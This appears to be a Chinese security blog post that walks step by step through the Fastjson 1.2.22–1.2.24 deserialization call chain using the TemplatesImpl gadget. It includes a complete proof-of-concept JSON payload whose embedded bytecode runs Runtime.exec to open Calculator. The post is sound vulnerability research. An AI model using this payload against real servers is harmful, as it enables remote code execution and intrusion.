Fastjson反序列化调用链完整分析过程
0x01.TemplatesImpl利用链分析
1.为什么会触发?
fastjson反序列化会返回TemplatesImpl对象,并且自动调用TemplatesImpl类的属性对应的set和get方法。而TemplatesImpl类的_outputProperties属性的getter方法(getOutputProperties)符合fastjson反序列化时调用的条件,那么就会执行TemplatesImpl#getOutputProperties,而getOutputProperties里调用了newTransformer()
。从而执行了_bytecodes
的值转换出来的类里的静态方法或者构造方法里的代码。为什么会执行,详细分析过程见《Java动态加载字节码》的”Gadgets 7u21 调试过程 - TemplatesImpl触发原理”。
2.利用条件
Fastjson中使用TemplatesImpl
链的条件比较苛刻,
- 服务端使用parseObject()时,必须使用如下格式才能触发漏洞:
JSON.parseObject(input, Object.class, Feature.SupportNonPublicField);
- 服务端使用parse()时,需要
JSON.parse(text1,Feature.SupportNonPublicField);
加入Feature.SupportNonPublicField
才能触发是因为Feature.SupportNonPublicField
的作用是支持反序列化使用非public修饰符保护的属性,在Fastjson中序列化private属性。
3.Payload
package com.DemoFastjson.DemoTemplatesImpl;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
public class DemoTemplatesImpl {
public static void main(String[] args) {
ParserConfig config = new ParserConfig();
String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66v......AAAAIAIA==\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}";
Object obj = JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField);
}
}
分析fastjson反序列化使用TemplatesImpl利用链的POC,发现有些许不一样的地方
为什么
_tfactory
是一个空的对象,而不是一个拥有getExternalExtensionsMap的类?会发现当赋值的值为一个空的Object对象时,会新建一个需要赋值的字段应有的格式的新对象实例。
_bytecodes为什么是base64编码,而不是字节码?
fastjson内部做了base64解码
我们要调用TemplatesImple类的getOutputProperties方法,但是为什么是
_outputProperties
字段,多了一个_
?好像不是必须的,即使有_,也会在代码里替换成空
0x02. Fastjson反序列化的调用过程
// fastjson反序列化(1.2.22-1.2.24),通过TemplatesImpl触发
// 分析文章:https://www.cnblogs.com/nice0e3/p/14601670.html
package com.DemoFastjson.DemoTemplatesImpl;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
public class DemoTemplatesImpl {
public static void main(String[] args) {
ParserConfig config = new ParserConfig();
String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQAOgoACQAhCQAiACMIACQKACUAJgoAJwAoCAApCgAnACoHACsHACwBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAJkxjb20vRGVtb1RlbXBsYXRlc0ltcGwvRGVtb0hlbGxvV29ybGQ7AQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEABjxpbml0PgEAAygpVgcALgEAClNvdXJjZUZpbGUBABNEZW1vSGVsbG9Xb3JsZC5qYXZhDAAcAB0HAC8MADAAMQEAC0hlbGxvIFdvcmxkBwAyDAAzADQHADUMADYANwEAPS9TeXN0ZW0vQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwL0NvbnRlbnRzL01hY09TL0NhbGN1bGF0b3IMADgAOQEAJGNvbS9EZW1vVGVtcGxhdGVzSW1wbC9EZW1vSGVsbG9Xb3JsZAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAgACQAAAAAAAwABAAoACwACAAwAAAA/AAAAAwAAAAGxAAAAAgANAAAABgABAAAADQAOAAAAIAADAAAAAQAPABAAAAAAAAEAEQASAAEAAAABABMAFAACABUAAAAEAAEAFgABAAoAFwACAAwAAABJAAAABAAAAAGxAAAAAgANAAAABgABAAAADwAOAAAAKgAEAAAAAQAPABAAAAAAAAEAEQASAAEAAAABABgAGQACAAAAAQAaABsAAwAVAAAABAABABYAAQAcAB0AAgAMAAAATAACAAEAAAAWKrcAAbIAAhIDtgAEuAAFEga2AAdXsQAAAAIADQAAABIABAAAABEABAASAAwAEwAVABUADgAAAAwAAQAAABYADwAQAAAAFQAAAAQAAQAeAAEAHwAAAAIAIA==\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}";
Object obj = JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField);
}
}
进入JSON.parseObject
com/alibaba/fastjson/1.2.22/fastjson-1.2.22.jar!/com/alibaba/fastjson/JSON.class
json#parseObject
文件:com/alibaba/fastjson/1.2.22/fastjson-1.2.22.jar!/com/alibaba/fastjson/JSON.class
json#parseObject
进入DefaultJSONParser()
文件:com/alibaba/fastjson/1.2.22/fastjson-1.2.22.jar!/com/alibaba/fastjson/parser/DefaultJSONParser.class
DefaultJSONParser#DefaultJSONParser
进入 JSONScanner
文件:com/alibaba/fastjson/1.2.22/fastjson-1.2.22.jar!/com/alibaba/fastjson/parser/JSONScanner.class
JSONScanner#JSONScanner
注意这里的this.next()
文件:com/alibaba/fastjson/1.2.22/fastjson-1.2.22.jar!/com/alibaba/fastjson/parser/JSONScanner.class
JSONScanner#next
其实就是取出我们输入的json格式的字符串的每一个值,每调用一次next,则取下一个的值给ch变量
文件:com/alibaba/fastjson/1.2.22/fastjson-1.2.22.jar!/com/alibaba/fastjson/parser/DefaultJSONParser.class
DefaultJSONParser#DefaultJSONParser
getCurrent()就是获取当前的ch值,然后赋值给ch
因为我们的payload第一个字符就是"{",所以进入到红框里,token被赋值为12
文件:com/alibaba/fastjson/1.2.22/fastjson-1.2.22.jar!/com/alibaba/fastjson/JSON.class
接下来回到了JSON#parseObject,运行到parser.parseObject(clazz, (Object)null)
文件:com/alibaba/fastjson/1.2.22/fastjson-1.2.22.jar!/com/alibaba/fastjson/parser/DefaultJSONParser.class
DefaultJSONParser#parseObject
因为之前token被赋值为12,所以运行到derializer.deserialze(this, type, fieldName)
com/alibaba/fastjson/1.2.22/fastjson1.2.22.jar!/com/alibaba/fastjson/parser/deserializer/JavaObjectDeserializer.class
JavaObjectDeserializer#deserialze
三目运算,type是否为Class对象并且type不等于 `Object.class`,type不等于`Serializable.class`,条件为true调用`parser.parseObject`,条件为flase调用`parser.parse`。很显然这里会调用`parser.parse`方法
com/alibaba/fastjson/1.2.22/fastjson-1.2.22.jar!/com/alibaba/fastjson/parser/DefaultJSONParser.class
DefaultJSONParser#parse
token的值为12
所以进入到红框里的代码
com/alibaba/fastjson/1.2.22/fastjson-1.2.22.jar!/com/alibaba/fastjson/parser/DefaultJSONParser.class
DefaultJSONParser#parseObject
char ch = lexer.getCurrent(); 取当前位置的字符,因为之前取了第一个字符"{",并且下标+1,所以当前位置的字符是双引号
进入到
key = lexer.scanSymbol(this.symbolTable, '"')
JSONLexerBase#scanSymbol
这里注意,传递进来的参数quote的值是双引号,所以该方法的作用就是取出两个双引号之间的字符串内容
while循环,不断的取出payload里的每一个字符,如果不是双引号则取下一个字符,直到取出双引号后,将前面的字符拼接成字符串后,返回回去
回到
com/alibaba/fastjson/1.2.22/fastjson-1.2.22.jar!/com/alibaba/fastjson/parser/DefaultJSONParser.class
DefaultJSONParser#parseObject
key接收返回值@type
当匹配到@type这个标志符后,再取去双引号里的字符串,即@type的值,也就是类名`com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl`
com/alibaba/fastjson/1.2.22/fastjson-1.2.22.jar!/com/alibaba/fastjson/util/TypeUtils.class
然后调用loadclass动态加载该类
TypeUtils#loadClass
回到
com/alibaba/fastjson/1.2.22/fastjson-1.2.22.jar!/com/alibaba/fastjson/parser/DefaultJSONParser.class
DefaultJSONParser#parseObject
com/alibaba/fastjson/1.2.22/fastjson-1.2.22.jar!/com/alibaba/fastjson/parser/ParserConfig.class
ParserConfig#getDeserializer
ParserConfig#getDeserializer(Class<?> clazz, Type type)
ParserConfig#createJavaBeanDeserializer
com/alibaba/fastjson/1.2.22/fastjson-1.2.22.jar!/com/alibaba/fastjson/util/JavaBeanInfo.class
JavaBeanInfo#build
到这里就很眼熟了,fastjson反序列化过程中寻找getter方法。
找到了getOutputProperties()方法
回到
com/alibaba/fastjson/1.2.22/fastjson-1.2.22.jar!/com/alibaba/fastjson/parser/DefaultJSONParser.class
DefaultJSONParser#parserObject
com/alibaba/fastjson/1.2.22/fastjson1.2.22.jar!/com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer.class
JavaBeanDeserializer#deserialze(DefaultJSONParser parser, Type type, Object fieldName)
com/alibaba/fastjson/1.2.22/fastjson-1.2.22.jar!/com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer.class
JavaBeanDeserializer#deserialze
com/alibaba/fastjson/1.2.22/fastjson-1.2.22.jar!/com/alibaba/fastjson/parser/JSONLexerBase.class
JSONLexerBase#scanSymbol
同理,取”\“之间的字符串
然后进入到
com/alibaba/fastjson/1.2.22/fastjson-1.2.22.jar!/com/alibaba/fastjson/util/IOUtils.class
IOUtils#decodeBase64
对bytecodes的值base64解码
com/alibaba/fastjson/1.2.22/fastjson-1.2.22.jar!/com/alibaba/fastjson/serializer/ObjectArrayCodec.class
ObjectArrayCodec#deserialze
解码后
_name、_tfactory、_outputProperties、_bytecodes
依次取出
com/alibaba/fastjson/1.2.22/fastjson1.2.22.jar!/com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer.class
JavaBeanDeserializer.class#smartMatch
替换_字符为空
com/alibaba/fastjson/1.2.22/fastjson1.2.22.jar!/com/alibaba/fastjson/parser/deserializer/FieldDeserializer.class
FieldDeserializer#setValue
当都取完后开始调用方法,而方法就是getOutputProperties
最后就是TemplatesImpl的利用链了
0x03 参考链接
https://xz.aliyun.com/t/7027#toc-7
https://www.cnblogs.com/nice0e3/p/14601670.html